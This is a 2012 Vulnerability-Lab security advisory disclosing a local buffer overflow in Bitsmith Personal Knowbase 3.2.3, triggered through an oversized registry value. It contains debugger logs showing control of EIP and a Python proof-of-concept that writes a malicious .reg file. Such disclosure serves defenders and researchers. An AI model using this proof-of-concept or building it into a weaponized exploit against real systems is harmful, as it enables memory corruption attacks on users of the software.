Title:
======
Bitsmith PS Knowbase 3.2.3 - Buffer Overflow Vulnerability


Date:
=====
2012-03-29


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=474


VL-ID:
=====
474


Introduction:
=============
Personal Knowbase is a program for organizing free-form information using keywords. Build a personal knowledge base
of all your notes, messages, and ideas. Store and index your information in one place for easy retrieval using keywords that you
choose. The attachment feature even associates disk files and Internet addresses with your notes, so you can access any
computerized information using the same set of keywords.

�  Reduce paper clutter.
�  Save hard disk space by consolidating small text files.
�  Gather related information together.
�  Find your information easily.
�  Protect your private information with passwords.
�  Cross-reference your notes with hypertext links.

(Copy of the Vendor Homepage: http://www.bitsmithsoft.com/ )


Abstract:
=========
A Vulnerability Laboratory Researcher discovered a local Buffer Overflow vulnerability on Bitsmiths Personal Knowbase v3.2.3.


Report-Timeline:
================
2012-03-14:	Vendor Notification 1
2012-03-16:	Vendor Notification 2
2012-03-20:	Vendor Notification 3
2012-03-30:	Public or Non-Public Disclosure


Status:
========
Published


Affected Products:
==================
Bitsmith
Product: Personal Knowbase v3.2.3


Exploitation-Technique:
=======================
Local


Severity:
=========
High


Details:
========
A Buffer Overflow vulnerability is detected on Bitsmith Software Personal Knowbase v3.2.3.
The vulnerability is located in the main executeable knowbase.exe. An oversized string on the registry value  Knowbase Data
within the Key  [HKEY_CURRENT_USER/Software/Bitsmith Software/Personal Knowbase/Directories]  results in a
local buffer overflow. The value gets read within the FileOpen dialogue. An attacker needs to manipulate the registry
value and has to trick the victim to open and cancel the  FileOpen dialogue.

Vulnerable Module(s):
                                                  [+] knowbase.exe


---  Debugger Logs  ---
# 41414141: The instruction at 0x41414141 referenced memory at 0x41414141. The memory could not be read -> 41414141 (exc.code c0000005, tid 844)

# Registers:
# EAX 00000000
# ECX 41414141
# EDX 005716E8 knowbase.005716E8
# EBX 00000001
# ESP 0012F730 ASCII ``CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC``
# EBP 0012F738 ASCII ``CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC``
# ESI 00527DF8 knowbase.00527DF8
# EDI 00570BC8 knowbase.00570BC8
# EIP 41414141

# Stack:
# 0012F724   41414141  AAAA
# 0012F728   FFFFFFFF
# 0012F72C   42424242  BBBB
# 0012F730   43434343  CCCC
# 0012F734   43434343  CCCC
# 0012F738   43434343  CCCC
# 0012F73C   43434343  CCCC

# Dump:
# 0012F710  41 41 41 41 41 41 41 41  AAAAAAAA
# 0012F718  41 41 41 41 41 41 41 41  AAAAAAAA
# 0012F720  41 41 41 41 41 41 41 41  AAAAAAAA
# 0012F728  FF FF FF FF 42 42 42 42      BBBB
# 0012F730  43 43 43 43 43 43 43 43  CCCCCCCC
# 0012F738  43 43 43 43 43 43 43 43  CCCCCCCC
# 0012F740  43 43 43 43 43 43 43 43  CCCCCCCC


Picture(s):
                                                  ../1.png


Proof of Concept:
=================
The vulnerability can be exploited by local attackers. Successful exploitation requires user inter action  by clicking the dialog
file open or cancel. For demonstration or reproduce ...


#!/usr/bin/python

# Exploit Title: Bitsmith Software Personal Knowbase v3.2.3 Local Buffer Overflow
# Version:       3.2.3
# Tested on:     Windows XP SP3 Professional German
# Howto:         Import Reg -> Start App -> Open File --> Cancel

file="poc.reg"

junk1="\x41" * 272
boom="\x42\x42\x42\x42"
junk2="\x43" * 100

poc="Windows Registry Editor Version 5.00\n\n"
poc=poc + "[HKEY_CURRENT_USER\Software\Bitsmith Software\Personal Knowbase\Directories]\n"
poc=poc + "\"Knowbase Data\"=\"" + junk1 + boom + junk2 + "\""

try:
    print "[*] Creating exploit file...\n";
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print "[*] File successfully created!";
except:
    print "[!] Error while creating file!";



Risk:
=====
The security risk of the local buffer overflow vulnerability is estimated as high(-).


Credits:
========
Vulnerability Research Laboratory   -    Julien Ahrens  (MrTuxracer)  [www.inshell.net]


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of
other media, are reserved by Vulnerability-Lab or its suppliers.

    						Copyright � 2012|Vulnerability-Lab




--
VULNERABILITY RESEARCH LABORATORY TEAM
Website: www.vulnerability-lab.com
Mail: research@vulnerability-lab.com